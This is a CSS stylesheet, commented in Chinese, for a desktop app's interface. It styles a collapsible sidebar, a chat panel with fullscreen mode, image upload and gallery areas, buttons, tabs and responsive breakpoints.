/* CSS变量用于动态设置侧边栏宽度 */
--sidebar-width: 240px;
--sidebar-collapsed-width: 60px;
/* 确保CSS变量变化时也有过渡效果 */
--transition-timing: 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}
/* 应用主体区域（整个应用内容） */
.app-body {
display: flex;
height: 100vh;
/* 🎯 修复：确保主体内容区域从窗口顶部开始，适配自定义标题栏 */
padding-top: 0;
/* 🎯 修复：移除最小宽度限制，解决响应式布局在小窗口下的突变问题 */
flex-direction: row !important;
flex: 1 !important;
overflow: auto !important; /* MODIFIED: Allow scrolling if content overflows */
}
/* 侧边栏 */
.app-sidebar {
width: var(--sidebar-width);
min-width: var(--sidebar-width);
background: #ffffff;
border-right: 1px solid #e2e8f0;
display: flex;
flex-direction: column;
transition: width 0.3s cubic-bezier(0.4, 0, 0.2, 1), min-width 0.3s cubic-bezier(0.4, 0, 0.2, 1);
box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.05);
/* overflow: visible !important; -- This was part of the problematic block, sidebar itself should not scroll */
}
.app-sidebar.collapsed {
width: var(--sidebar-collapsed-width);
min-width: var(--sidebar-collapsed-width);
}
/* 侧边栏头部 */
.sidebar-header {
padding: 0.75rem 1rem;
border-bottom: 1px solid #e2e8f0;
display: flex;
align-items: center;
justify-content: space-between;
background: #ffffff !important;
height: 48px;
box-sizing: border-box;
}
.app-logo {
display: flex;
align-items: center;
gap: 0.75rem;
justify-content: center;
}
/* 侧边栏展开时，logo靠左1/3 */
.app-sidebar:not(.collapsed) .app-logo {
justify-content: flex-start;
padding-left: 1.5rem;
}
.logo-icon {
width: 32px;
height: 32px;
border-radius: 8px;
object-fit: contain;
}
.logo-full {
height: 32px;
max-width: 200px;
object-fit: contain;
object-position: left center;
margin-left: 0;
}
.logo-text {
font-size: 1rem;
font-weight: 600;
color: #2d3748;
white-space: nowrap;
}
.sidebar-toggle {
width: 28px;
height: 28px;
border: none;
background: #f7fafc;
border-radius: 6px;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
transition: all 0.2s ease;
color: #718096;
font-size: 0.875rem;
}
.sidebar-toggle:hover {
background: #edf2f7;
color: #4a5568;
}
/* 导航区域 */
.sidebar-nav {
flex: 1;
padding: 1rem 0.75rem;
overflow-y: auto !important; /* MODIFIED: Ensure this scrolls */
min-height: 0; /* ADDED: Good practice for flex children that scroll */
}
.nav-section {
margin-bottom: 1.5rem;
/* overflow: visible !important; -- This was part of the problematic block */
}
.nav-label {
font-size: 0.75rem;
font-weight: 600;
color: #000000 !important;
text-transform: uppercase;
letter-spacing: 0.05em;
margin-bottom: 0.5rem;
padding-left: 0.75rem;
}
.nav-item {
width: 100%;
padding: 0.75rem;
border: none;
background: transparent;
border-radius: 8px;
cursor: pointer;
display: flex;
align-items: center;
gap: 0.75rem;
font-size: 0.875rem;
font-weight: 500;
color: #000000 !important;
text-align: left;
transition: all 0.2s ease;
margin-bottom: 0.25rem;
position: relative;
/* overflow: visible !important; -- This was part of the problematic block */
}
.nav-item:hover {
background: #f7fafc;
color: #000000 !important;
}
.nav-item.active {
background: #ebf8ff;
color: #000000 !important;
font-weight: 600;
}
.nav-item.active::before {
content: '';
position: absolute;
left: 0;
top: 50%;
transform: translateY(-50%);
width: 3px;
height: 20px;
background: #3182ce;
border-radius: 0 2px 2px 0;
}
.nav-icon {
font-size: 1.125rem;
width: 20px;
display: flex;
align-items: center;
justify-content: center;
flex-shrink: 0;
}
.nav-text {
white-space: nowrap;
overflow: hidden;
}
/* 侧边栏底部 */
.sidebar-footer {
padding: 0.75rem;
border-top: 1px solid #e2e8f0;
background: #ffffff !important;
}
.sidebar-footer .nav-item {
background: transparent !important;
color: #000000 !important;
}
/* 主内容区域 */
.app-content {
flex: 1 !important;
display: flex !important;
flex-direction: column !important;
overflow: auto !important; /* MODIFIED: Allow scrolling */
background: #ffffff;
min-width: 0; /* ADDED: Prevent flexbox overflow */
}
/* 内容头部 */
.content-header {
padding: 0.75rem 2rem;
border-bottom: 1px solid #e2e8f0;
display: flex;
align-items: center;
justify-content: space-between;
background: #ffffff;
box-shadow: 0 1px 3px rgba(0, 0, 0, 0.05);
height: 48px;
box-sizing: border-box;
}
.content-title {
font-size: 1.5rem;
font-weight: 600;
color: #2d3748;
margin: 0;
}
.content-header-left {
display: flex;
align-items: center;
gap: 1rem;
}
.content-header .sidebar-toggle {
width: 32px;
height: 32px;
border: none;
background: #f7fafc;
border-radius: 8px;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
transition: all 0.2s ease;
color: #718096;
margin-right: 0.5rem;
}
.content-header .sidebar-toggle svg {
flex-shrink: 0;
}
.content-header .sidebar-toggle:hover {
background: #edf2f7;
color: #4a5568;
transform: scale(1.05);
}
/* 返回按钮 */
.back-button {
padding: 0.5rem 1rem;
border: 1px solid #e2e8f0;
background: #ffffff;
border-radius: 8px;
cursor: pointer;
font-size: 0.875rem;
color: #4a5568;
transition: all 0.2s ease;
display: flex;
align-items: center;
gap: 0.5rem;
font-weight: 500;
}
.back-button svg {
flex-shrink: 0;
}
.back-button:hover {
background: #f7fafc;
border-color: #cbd5e0;
color: #2d3748;
transform: translateX(-2px);
}
/* 全屏切换按钮 */
.fullscreen-toggle {
padding: 0.5rem 1rem;
border: 1px solid #e2e8f0;
background: #ffffff;
border-radius: 8px;
cursor: pointer;
font-size: 1rem;
color: #4a5568;
transition: all 0.2s ease;
display: flex;
align-items: center;
gap: 0.5rem;
}
.fullscreen-toggle:hover {
background: #f7fafc;
border-color: #cbd5e0;
color: #2d3748;
}
/* 内容主体 */
.content-body {
flex: 1;
padding: 2rem;
overflow-y: auto; /* MODIFIED */
background: #f8f9fa;
display: flex;
flex-direction: column;
min-height: 0; /* ADDED */
}
/* 分析视图特殊布局 */
.content-body .analysis-layout {
display: flex !important;
flex-direction: row !important;
flex: 1 !important;
min-height: 0 !important; /* ADDED */
}
/* 聊天区域全屏增强 */
.chat-container {
position: relative;
background: #ffffff;
border-radius: 24px;
border: 1px solid #e2e8f0;
transition:
all 0.3s cubic-bezier(0.25, 0.1, 0.25, 1),
transform 0.3s cubic-bezier(0.25, 0.1, 0.25, 1),
position 0.3s cubic-bezier(0.25, 0.1, 0.25, 1),
top 0.3s cubic-bezier(0.25, 0.1, 0.25, 1),
left 0.3s cubic-bezier(0.25, 0.1, 0.25, 1),
right 0.3s cubic-bezier(0.25, 0.1, 0.25, 1),
bottom 0.3s cubic-bezier(0.25, 0.1, 0.25, 1),
width 0.3s cubic-bezier(0.25, 0.1, 0.25, 1),
height 0.3s cubic-bezier(0.25, 0.1, 0.25, 1);
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
display: flex;
flex-direction: column;
flex: 1;
min-height: 0;
/* 设置变换原点为右下角，实现自然缩放 */
transform-origin: bottom right;
}
/* 聊天容器全屏样式 - 直接过渡无动画 */
.chat-container.chat-fullscreen {
position: fixed !important;
top: 48px !important; /* content-header高度 */
/* 动态计算left值，根据侧边栏是否收缩调整 */
left: var(--sidebar-width, 240px) !important;
right: 0 !important;
bottom: 0 !important;
z-index: 999 !important; /* 低于窗口控制按钮 */
border-radius: 0 !important;
border: none !important;
box-shadow: 0 0 20px rgba(0, 0, 0, 0.1) !important;
background: #ffffff !important;
/* 保持变换原点为右下角 */
transform-origin: bottom right !important;
display: flex !important;
flex-direction: column !important;
height: calc(100vh - 48px) !important; /* 减去content-header高度 */
min-height: unset !important;
max-height: unset !important;
width: auto !important;
flex: none !important;
/* 使用统一的transition，不使用动画 */
}
/* Removed chat-header styles since chat-header is no longer used */
.chat-fullscreen-toggle {
padding: 0.75rem 1rem;
border: 1px solid #e2e8f0;
background: #ffffff;
border-radius: 8px;
cursor: pointer;
font-size: 1rem;
color: #4a5568;
transition: all 0.2s ease;
display: flex;
align-items: center;
justify-content: center;
min-width: 44px;
}
.chat-fullscreen-toggle:hover {
background: #f7fafc;
border-color: #cbd5e0;
color: #2d3748;
transform: scale(1.05);
}
.chat-history {
flex: 1;
overflow-y: auto;
padding: 1rem;
min-height: 0;
border-radius: 0; /* 移除圆角 */
}
.chat-container.chat-fullscreen .chat-history {
padding: 2rem !important;
flex: 1 !important;
overflow-y: auto !important;
max-height: none !important;
min-height: 0 !important;
height: auto !important;
border-radius: 0 !important; /* 全屏时移除圆角 */
}
.chat-input {
padding: 0.75rem 1.5rem;
border-top: 1px solid #e2e8f0;
background: #ffffff;
border-radius: 0;
display: flex;
flex-direction: row;
gap: 0.75rem;
align-items: center;
flex-wrap: nowrap;
}
/* Removed duplicate chat-history definition */
.chat-container.chat-fullscreen .chat-input {
border-radius: 0 !important;
padding: 1rem 2rem !important;
background: #ffffff !important;
border-top: 1px solid #e2e8f0 !important;
box-shadow: 0 -2px 4px rgba(0, 0, 0, 0.05) !important;
flex-shrink: 0 !important;
}
.chat-input input {
flex: 1;
padding: 0.75rem 1rem;
border: 1px solid #e2e8f0;
border-radius: 8px;
font-size: 0.875rem;
outline: none;
transition: border-color 0.2s ease;
}
.chat-input input:focus {
border-color: #3182ce;
box-shadow: 0 0 0 3px rgba(49, 130, 206, 0.1);
}
.send-button {
padding: 0.75rem 1rem;
background: #3182ce;
color: white;
border: none;
border-radius: 8px;
cursor: pointer;
font-size: 1rem;
transition: all 0.2s ease;
display: flex;
align-items: center;
justify-content: center;
min-width: 44px;
}
.send-button:hover:not(:disabled) {
background: #2c5aa0;
transform: translateY(-1px);
}
.send-button:disabled {
background: #a0aec0;
cursor: not-allowed;
transform: none;
}
/* 分析界面布局 */
.analysis-layout {
display: flex !important;
flex-direction: row !important;
gap: 1.5rem !important;
flex: 1 !important;
min-height: 0 !important;
align-items: stretch !important;
padding: 1.5rem;
background: #f8fafc;
max-width: 100%;
box-sizing: border-box;
overflow: visible; /* Allow content to be visible */
}
.left-panel {
flex: 0 0 450px; /* 🎯 修复：固定宽度，防止突然收缩 */
min-width: 400px; /* 🎯 修复：提高最小宽度，确保稳定显示 */
display: flex;
flex-direction: column;
gap: 1rem;
background: transparent;
max-width: 450px; /* 🎯 修复：限制最大宽度 */
box-sizing: border-box;
}
.right-panel {
flex: 1 1 auto; /* 🎯 修复：改为更稳定的flex设置，占据剩余空间 */
display: flex;
flex-direction: column;
min-width: 300px; /* 🎯 修复：设置合理的最小宽度 */
overflow: hidden; /* Keep hidden here to manage its own content */
height: 100%;
}
.upload-section {
background: rgba(255, 255, 255, 0.72) !important;
backdrop-filter: saturate(180%) blur(12px) !important;
border: 1px solid rgba(255, 255, 255, 0.3) !important;
padding: 1.5rem;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
/* 🎯 美化修复：让上传区域始终填满左侧面板，确保与右侧面板下边缘对齐 */
flex: 1;
min-height: 0;
display: flex;
flex-direction: column;
/* 🎯 修复：确保上传区域不超出容器 */
max-width: 100%;
box-sizing: border-box;
overflow: hidden;
}
.upload-section h3 {
margin: 0 0 1.5rem 0;
color: #2d3748;
font-size: 1.35rem !important;
font-weight: 700 !important;
/* 🎯 美化：添加底部边框和更好的间距 */
padding-bottom: 0.75rem;
border-bottom: 2px solid #f0f4f8;
display: flex;
align-items: center;
gap: 0.5rem;
}
.form-group {
margin-bottom: 1.5rem;
/* 🎯 修复：确保表单组件不超出容器 */
max-width: 100%;
box-sizing: border-box;
}
.form-group label {
display: block;
margin-bottom: 0.75rem;
font-weight: 600;
color: #2d3748;
font-size: 0.9rem;
/* 🎯 美化：添加更好的标签样式 */
text-transform: uppercase;
letter-spacing: 0.5px;
}
.form-group select,
.form-group input,
.form-group textarea {
width: 100%;
padding: 0.875rem 1rem;
border: 2px solid #e2e8f0;
border-radius: 10px;
font-size: 0.9rem;
transition: all 0.2s ease;
/* 🎯 美化：添加更好的输入框样式 */
background: #ffffff;
box-shadow: 0 1px 3px rgba(0, 0, 0, 0.05);
}
.form-group select:focus,
.form-group input:focus,
.form-group textarea:focus {
outline: none;
border-color: #667eea;
box-shadow: 0 0 0 3px rgba(102, 126, 234, 0.1), 0 2px 8px rgba(0, 0, 0, 0.1);
/* 🎯 美化：添加轻微的向上移动效果 */
transform: translateY(-1px);
}
.image-preview {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(100px, 1fr));
gap: 0.5rem;
margin-top: 0.5rem;
}
.preview-image {
width: 100%;
height: 80px;
object-fit: cover;
border-radius: 6px;
border: 1px solid #e2e8f0;
}
.analyze-button {
width: 100%;
padding: 0.875rem 1rem;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
border: none;
border-radius: 10px;
font-size: 1rem;
font-weight: 600;
cursor: pointer;
transition: all 0.2s ease, transform 0.15s ease, box-shadow 0.15s ease;
display: flex;
align-items: center;
justify-content: center;
gap: 0.5rem;
margin-top: auto;
flex-shrink: 0;
/* 🎯 美化：添加更好的视觉效果 */
box-shadow: 0 2px 8px rgba(102, 126, 234, 0.2);
}
.analyze-button:hover:not(:disabled) {
transform: translateY(-2px);
box-shadow: 0 6px 16px rgba(0, 0, 0, 0.08);
}
.analyze-button:disabled {
background: #a0aec0;
cursor: not-allowed;
transform: none;
}
.action-buttons {
display: flex;
gap: 0.75rem;
margin-top: 1.5rem;
/* 🎯 美化：添加顶部边框分隔 */
padding-top: 1.5rem;
border-top: 1px solid #f0f4f8;
}
.save-button,
.reset-button {
flex: 1;
padding: 0.875rem 1rem;
border: none;
border-radius: 10px;
font-size: 0.9rem;
font-weight: 600;
cursor: pointer;
transition: all 0.2s ease, transform 0.15s ease, box-shadow 0.15s ease;
/* 🎯 美化：添加阴影和更好的视觉效果 */
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
display: flex;
align-items: center;
justify-content: center;
gap: 0.5rem;
}
.save-button {
background: linear-gradient(135deg, #38a169 0%, #2f855a 100%);
color: white;
}
.save-button:hover {
background: linear-gradient(135deg, #2f855a 0%, #276749 100%);
transform: translateY(-2px);
box-shadow: 0 6px 16px rgba(0, 0, 0, 0.08);
}
.reset-button {
background: #f7fafc;
color: #4a5568;
border: 2px solid #e2e8f0;
}
.reset-button:hover {
background: #edf2f7;
border-color: #cbd5e0;
transform: translateY(-2px);
box-shadow: 0 6px 16px rgba(0, 0, 0, 0.08);
}
.empty-result {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 100%;
text-align: center;
color: #718096;
/* 🎯 美化：添加背景和边框，与左侧面板保持一致 */
background: #ffffff;
border-radius: 12px;
border: 1px solid #e2e8f0;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
padding: 2rem;
}
.empty-icon {
font-size: 3rem;
margin-bottom: 1rem;
}
.empty-logo {
width: 64px;
height: 64px;
object-fit: contain;
opacity: 0.6;
border-radius: 12px;
}
.analysis-result {
background: #ffffff;
border-radius: 24px;
border: 1px solid #e2e8f0;
height: 100%;
display: flex;
flex-direction: column;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
}
.result-header {
padding: 1.5rem;
border-bottom: 1px solid #e2e8f0;
display: flex;
align-items: center;
justify-content: space-between;
}
.result-header h3 {
margin: 0;
color: #2d3748;
font-size: 1.125rem;
font-weight: 600;
}
.analyzing-indicator {
display: flex;
align-items: center;
gap: 0.5rem;
color: #667eea;
font-size: 0.875rem;
}
.spinner {
animation: spin 1s linear infinite;
}
@keyframes spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
.result-info {
padding: 1rem 1.5rem;
border-bottom: 1px solid #e2e8f0;
}
.info-item {
margin-bottom: 0.75rem;
display: flex;
gap: 0.5rem;
align-items: flex-start;
}
.info-item strong {
color: #4a5568;
min-width: 80px;
font-weight: 600;
}
.info-value {
color: #2d3748;
}
.tags {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
}
.tag {
background: #ebf8ff;
color: #3182ce;
padding: 0.25rem 0.75rem;
border-radius: 16px;
font-size: 0.75rem;
font-weight: 500;
}
.ocr-text {
background: #f7fafc;
padding: 0.75rem;
border-radius: 6px;
border: 1px solid #e2e8f0;
font-size: 0.875rem;
line-height: 1.5;
color: #2d3748;
max-height: 120px;
overflow-y: auto;
}
/* 响应式设计 */
@media (max-width: 1200px) {
.analysis-layout {
flex-direction: column !important;
gap: 1rem !important;
padding: 1rem !important;
}
.left-panel {
flex: 0 0 auto; /* 🎯 修复：在小屏幕上也保持固定尺寸 */
min-width: 350px; /* 🎯 修复：在小屏幕上适当减小但保持稳定 */
max-width: 100%; /* 🎯 修复：确保不超出容器 */
}
.right-panel {
flex: 1 1 auto; /* 🎯 修复：占据剩余空间，但不会过度扩展 */
min-width: 250px; /* 🎯 修复：设置合理的最小宽度 */
}
}
/* 渐进式响应式断点设计 - 谨慎优化 */
/* 中等窗口尺寸：适度缩小侧边栏宽度 */
@media (max-width: 1200px) {
:root {
--sidebar-width: 200px; /* 从240px减少到200px */
}
/* 确保聊天容器全屏模式适应新的侧边栏宽度 */
.chat-container.chat-fullscreen {
left: 200px !important;
}
}
/* 较小窗口尺寸：进一步缩小侧边栏 */
@media (max-width: 900px) {
:root {
--sidebar-width: 180px; /* 进一步减少到180px */
}
.chat-container.chat-fullscreen {
left: 180px !important;
}
}
/* 小窗口尺寸：显著缩小但保持可读性 */
@media (max-width: 700px) {
:root {
--sidebar-width: 160px; /* 减少到160px */
}
.chat-container.chat-fullscreen {
left: 160px !important;
}
}
/* 极小窗口尺寸：切换到收缩模式（移动设备） */
@media (max-width: 500px) {
.app-sidebar {
width: 60px;
/* 确保过渡动画仍然有效 */
transition: width 0.3s cubic-bezier(0.4, 0, 0.2, 1), min-width 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}
.app-sidebar:not(.collapsed) {
position: absolute;
width: 240px;
z-index: 100;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.content-header {
padding: 0.5rem 1rem;
}
.content-body {
padding: 1rem;
}
/* 确保聊天容器在移动设备上正确调整 */
.chat-container.chat-fullscreen {
left: 60px !important;
}
}
/* 动画效果 */
@keyframes slideIn {
from {
opacity: 0;
transform: translateX(-20px);
}
to {
opacity: 1;
transform: translateX(0);
}
}
.nav-item {
animation: slideIn 0.3s ease;
}
/* 主题色彩优化 */
:root {
--cherry-primary: #3182ce;
--cherry-primary-light: #ebf8ff;
--cherry-secondary: #667eea;
--cherry-gray-50: #f8f9fa;
--cherry-gray-100: #f7fafc;
--cherry-gray-200: #edf2f7;
--cherry-gray-300: #e2e8f0;
--cherry-gray-400: #cbd5e0;
--cherry-gray-500: #a0aec0;
--cherry-gray-600: #718096;
--cherry-gray-700: #4a5568;
--cherry-gray-800: #2d3748;
--cherry-gray-900: #1a202c;
}
/* 滚动条美化 */
.sidebar-nav::-webkit-scrollbar,
.content-body::-webkit-scrollbar {
width: 6px;
}
.sidebar-nav::-webkit-scrollbar-track,
.content-body::-webkit-scrollbar-track {
background: transparent;
}
.sidebar-nav::-webkit-scrollbar-thumb,
.content-body::-webkit-scrollbar-thumb {
background: #cbd5e0;
border-radius: 3px;
}
.sidebar-nav::-webkit-scrollbar-thumb:hover,
.content-body::-webkit-scrollbar-thumb:hover {
background: #a0aec0;
}
/* 美化文件上传区域 */
.file-upload-area {
position: relative;
border: 2px dashed var(--primary-color, #8b5cf6) !important;
border-radius: 8px !important;
padding: 2rem;
text-align: center;
background: linear-gradient(145deg, rgba(139, 92, 246, 0.05) 0%, rgba(59, 130, 246, 0.05) 100%) !important;
transition: all 0.25s ease !important;
cursor: pointer;
/* 🎯 修复：确保上传区域不超出容器 */
max-width: 100%;
box-sizing: border-box;
}
.file-upload-area:hover {
background: linear-gradient(145deg, rgba(139, 92, 246, 0.10) 0%, rgba(59, 130, 246, 0.10) 100%) !important;
box-shadow: 0 8px 20px rgba(139, 92, 246, 0.15) !important;
transform: translateY(-2px) !important;
border-color: var(--primary-color, #7c3aed) !important;
}
.file-upload-area.drag-over {
background: linear-gradient(145deg, rgba(139, 92, 246, 0.12) 0%, rgba(59, 130, 246, 0.12) 100%) !important;
border-color: var(--primary-color, #7c3aed) !important;
animation: pulseBorder 1.2s infinite ease-in-out !important;
}
@keyframes pulseBorder {
0% { box-shadow: 0 0 0 0 rgba(139, 92, 246, 0.4); }
70% { box-shadow: 0 0 0 6px rgba(139, 92, 246, 0); }
100% { box-shadow: 0 0 0 0 rgba(139, 92, 246, 0); }
}
.upload-content {
display: flex;
flex-direction: column;
align-items: center;
gap: 0.75rem;
/* 🎯 修复：确保上传内容不超出容器 */
max-width: 100%;
box-sizing: border-box;
}
.upload-icon {
font-size: 2.5rem !important;
color: var(--primary-color, #6d28d9) !important;
}
.upload-text {
font-size: 0.95rem !important;
color: #4b5563 !important;
}
.file-input {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0;
cursor: pointer;
}
.image-preview {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(120px, 1fr));
gap: 0.75rem;
margin-top: 1rem;
padding: 1rem;
background: #ffffff;
border-radius: 8px;
border: 1px solid #e2e8f0;
}
/* 新的图片画廊样式 */
.image-gallery {
margin-top: 1rem;
}
.image-list {
display: flex;
gap: 1rem;
overflow-x: auto;
padding: 1rem;
background: #ffffff;
border-radius: 12px;
border: 1px solid #e2e8f0;
scroll-behavior: smooth;
}
.image-list::-webkit-scrollbar {
height: 6px;
}
.image-list::-webkit-scrollbar-track {
background: #f1f1f1;
border-radius: 3px;
}
.image-list::-webkit-scrollbar-thumb {
background: #cbd5e0;
border-radius: 3px;
}
.image-list::-webkit-scrollbar-thumb:hover {
background: #a0aec0;
}
.image-item {
position: relative;
flex-shrink: 0;
width: 120px;
height: 120px;
border-radius: 8px;
overflow: hidden;
border: 2px solid #e2e8f0;
transition: all 0.2s ease;
}
.image-item:hover {
border-color: #667eea;
transform: translateY(-2px);
box-shadow: 0 4px 12px rgba(102, 126, 234, 0.2);
}
.gallery-image {
width: 100%;
height: 100%;
object-fit: cover;
cursor: pointer;
transition: transform 0.2s ease;
}
.gallery-image:hover {
transform: scale(1.05);
}
.remove-image {
position: absolute;
top: 4px;
right: 4px;
width: 24px;
height: 24px;
border: none;
border-radius: 50%;
background: rgba(239, 68, 68, 0.9);
color: white;
font-size: 16px;
font-weight: bold;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
transition: all 0.2s ease;
backdrop-filter: blur(4px);
}
.remove-image:hover {
background: rgba(239, 68, 68, 1);
transform: scale(1.1);
}
.add-image-btn {
flex-shrink: 0;
width: 120px;
height: 120px;
border: 2px dashed #cbd5e0;
border-radius: 8px;
display: flex;
align-items: center;
justify-content: center;
cursor: pointer;
transition: all 0.2s ease;
position: relative;
background: #f8f9fa;
}
.add-image-btn:hover {
border-color: #667eea;
background: #f0f8ff;
transform: translateY(-2px);
}
.add-content {
display: flex;
flex-direction: column;
align-items: center;
gap: 0.5rem;
color: #718096;
}
.add-icon {
font-size: 2rem;
font-weight: 300;
}
.add-text {
font-size: 0.875rem;
font-weight: 500;
}
.preview-image {
width: 100%;
height: 100px;
object-fit: cover;
border-radius: 6px;
border: 1px solid #e2e8f0;
transition: transform 0.2s ease;
}
.preview-image:hover {
transform: scale(1.05);
}
/* 图片错误显示优化 */
.image-error {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
min-height: 120px;
background: #f8f9fa;
border: 2px dashed #cbd5e0;
border-radius: 8px;
padding: 1rem;
text-align: center;
color: #6c757d;
font-size: 0.9rem;
}
.error-path {
margin-top: 0.5rem;
font-size: 0.75rem;
color: #a0aec0;
word-break: break-all;
max-width: 100%;
}
/* 🎯 现代化简约按钮样式 */
.btn {
display: inline-flex;
align-items: center;
justify-content: center;
padding: 0.625rem 1.25rem;
font-size: 0.875rem;
font-weight: 500;
border-radius: 8px;
border: 1px solid transparent;
cursor: pointer;
transition: all 0.15s ease;
text-decoration: none;
gap: 0.5rem;
background: #ffffff;
position: relative;
overflow: hidden;
}
.btn:disabled {
opacity: 0.5;
cursor: not-allowed;
transform: none !important;
}
.btn-primary {
background: #f8fafc;
color: #1e293b;
border-color: #e2e8f0;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.btn-primary:hover:not(:disabled) {
background: #f1f5f9;
border-color: #cbd5e1;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.btn-success {
background: #f0fdf4;
color: #166534;
border-color: #bbf7d0;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.btn-success:hover:not(:disabled) {
background: #dcfce7;
border-color: #86efac;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.btn-secondary {
background: #f8fafc;
color: #64748b;
border-color: #e2e8f0;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.btn-secondary:hover:not(:disabled) {
background: #f1f5f9;
border-color: #cbd5e1;
color: #475569;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.btn-danger {
background: #fef2f2;
color: #dc2626;
border-color: #fecaca;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.btn-danger:hover:not(:disabled) {
background: #fee2e2;
border-color: #fca5a5;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
/* 标签页按钮美化 */
.tab {
padding: 0.75rem 1.5rem;
background: #f7fafc;
color: #4a5568;
border: 1px solid #e2e8f0;
border-radius: 8px 8px 0 0;
cursor: pointer;
font-weight: 500;
transition: all 0.2s ease;
border-bottom: none;
}
.tab:hover {
background: #edf2f7;
color: #2d3748;
}
.tab.active {
background: #ffffff;
color: #3182ce;
border-color: #3182ce;
border-bottom: 2px solid #3182ce;
font-weight: 600;
}
/* 返回按钮美化 */
.back-button {
display: inline-flex;
align-items: center;
gap: 0.5rem;
padding: 0.5rem 1rem;
background: #f7fafc;
color: #4a5568;
border: 1px solid #e2e8f0;
border-radius: 6px;
cursor: pointer;
font-size: 0.9rem;
font-weight: 500;
transition: all 0.2s ease;
text-decoration: none;
}
.back-button:hover {
background: #edf2f7;
color: #2d3748;
border-color: #cbd5e0;
transform: translateX(-2px);
}
/* 多图片网格显示样式 */
.image-grid-container {
margin-top: 0.75rem;
border: 1px solid #e2e8f0;
border-radius: 8px;
background: #f8f9fa;
padding: 0.75rem;
/* 🎯 修复：确保图片网格容器不超出父容器 */
max-width: 100%;
box-sizing: border-box;
overflow: hidden;
}
.image-grid-scroll {
display: flex;
gap: 0.75rem;
overflow-x: auto;
overflow-y: hidden;
padding: 0.25rem;
scroll-behavior: smooth;
/* 🎯 修复：确保水平滚动正常工作 */
width: 100%;
min-width: 0;
}
.image-grid-scroll::-webkit-scrollbar {
height: 6px;
}
.image-grid-scroll::-webkit-scrollbar-track {
background: #f1f1f1;
border-radius: 3px;
}
.image-grid-scroll::-webkit-scrollbar-thumb {
background: #c1c1c1;
border-radius: 3px;
}
.image-grid-scroll::-webkit-scrollbar-thumb:hover {
background: #a1a1a1;
}
.image-thumbnail-container {
position: relative;
flex-shrink: 0;
width: 120px;
height: 120px;
border-radius: 10px !important;
overflow: hidden !important;
background: white;
cursor: pointer;
transition: all 0.2s ease;
}
.image-thumbnail-container:hover {
border-color: #4299e1;
transform: translateY(-2px);
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
}
.image-thumbnail {
width: 100%;
height: 100%;
object-fit: cover;
transition: transform 0.2s ease;
}
.image-thumbnail-container:hover .image-thumbnail {
transform: scale(1.05) !important;
}
.remove-image-btn {
position: absolute;
top: 4px;
right: 4px;
width: 24px;
height: 24px;
border: none;
background: rgba(239, 68, 68, 0.9);
color: white;
border-radius: 50%;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
font-size: 12px;
font-weight: bold;
transition: all 0.2s ease;
opacity: 0;
}
.image-thumbnail-container:hover .remove-image-btn {
opacity: 1;
}
.remove-image-btn:hover {
background: rgba(220, 38, 38, 1);
transform: scale(1.1);
}
.add-image-placeholder {
flex-shrink: 0;
width: 120px;
height: 120px;
border: 2px dashed #cbd5e0;
border-radius: 8px;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
cursor: pointer;
transition: all 0.2s ease;
background: #f8f9fa;
}
.add-image-placeholder:hover {
border-color: #4299e1;
background: #f0f8ff;
}
.add-image-input {
display: none;
}
.add-image-label {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
width: 100%;
height: 100%;
cursor: pointer;
color: #718096;
transition: color 0.2s ease;
}
.add-image-placeholder:hover .add-image-label {
color: #4299e1;
}
.add-image-icon {
font-size: 24px;
margin-bottom: 4px;
}
.add-image-text {
font-size: 12px;
font-weight: 500;
text-align: center;
}
/* 拖拽状态样式 */
.file-upload-area.drag-over {
border-color: #4299e1;
background: #f0f8ff;
transform: scale(1.02);
}
.file-upload-area.drag-over .upload-icon {
transform: scale(1.1);
color: #4299e1;
}
.file-upload-area.drag-over .upload-text {
color: #4299e1;
font-weight: 600;
}
.image-grid-container.drag-over {
border-color: #4299e1;
background: #f0f8ff;
transform: scale(1.01);
box-shadow: 0 0 10px rgba(66, 153, 225, 0.3);
}
/* Cherry Studio 风格的现代化 Tooltip */
/* 自定义 tooltip 容器 */
.tooltip-container {
position: relative;
display: inline-block;
}
/* 已禁用 - 这些选择器被替换为tooltip-test */
/* 已禁用 - 旧的tooltip-container选择器
.tooltip-container[data-tooltip]:not([data-tooltip=""])::before {
content: attr(data-tooltip);
position: absolute;
bottom: calc(100% + 8px);
left: 50%;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
padding: 8px 12px;
border-radius: 12px;
font-size: 13px;
font-weight: 500;
line-height: 1.4;
white-space: nowrap;
z-index: 1000;
box-shadow:
0 8px 32px rgba(102, 126, 234, 0.25),
0 4px 16px rgba(0, 0, 0, 0.1),
inset 0 1px 0 rgba(255, 255, 255, 0.2);
backdrop-filter: blur(10px);
border: 1px solid rgba(255, 255, 255, 0.1);
